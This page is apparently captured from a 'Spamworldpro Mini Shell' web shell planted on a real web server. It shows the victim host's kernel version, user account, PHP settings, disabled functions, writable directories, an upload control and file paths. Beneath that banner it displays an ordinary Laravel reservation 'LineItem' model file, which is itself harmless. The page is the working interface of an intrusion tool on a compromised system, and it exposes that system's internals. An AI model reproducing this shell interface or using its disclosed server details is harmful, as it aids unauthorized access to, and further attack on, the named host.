Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Reservation/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Reservation/Models/LineItem.php
<?php

namespace Corals\Modules\Reservation\Models;

use Corals\Foundation\Models\BaseModel;
use Corals\Foundation\Transformers\PresentableTrait;
use Spatie\Activitylog\Traits\LogsActivity;

class LineItem extends BaseModel
{
    use PresentableTrait, LogsActivity;

    /**
     *  Model configuration.
     * @var string
     */
    public $config = 'reservation.models.line_item';

    protected $casts = [
        'properties' => 'json',
    ];

    protected $guarded = ['id'];

    protected $table = 'res_line_items';


    public function owner()
    {
        return $this->morphTo();
    }

    public function rates()
    {
        return $this->hasMany(Rate::class);
    }

    public function getPeriodDependsOnRateType($periodInMinutes)
    {
        switch ($this->rate_type) {
            case 'daily':
                return $periodInMinutes / (24 * 60);
            case 'hourly':
                return $periodInMinutes / 60;
            case 'weekly':
                return $periodInMinutes / (24 * 60 * 7);
            case 'monthly':
                return $periodInMinutes / (24 * 60 * 30);
        }

        return null;
    }
}

Spamworldpro Mini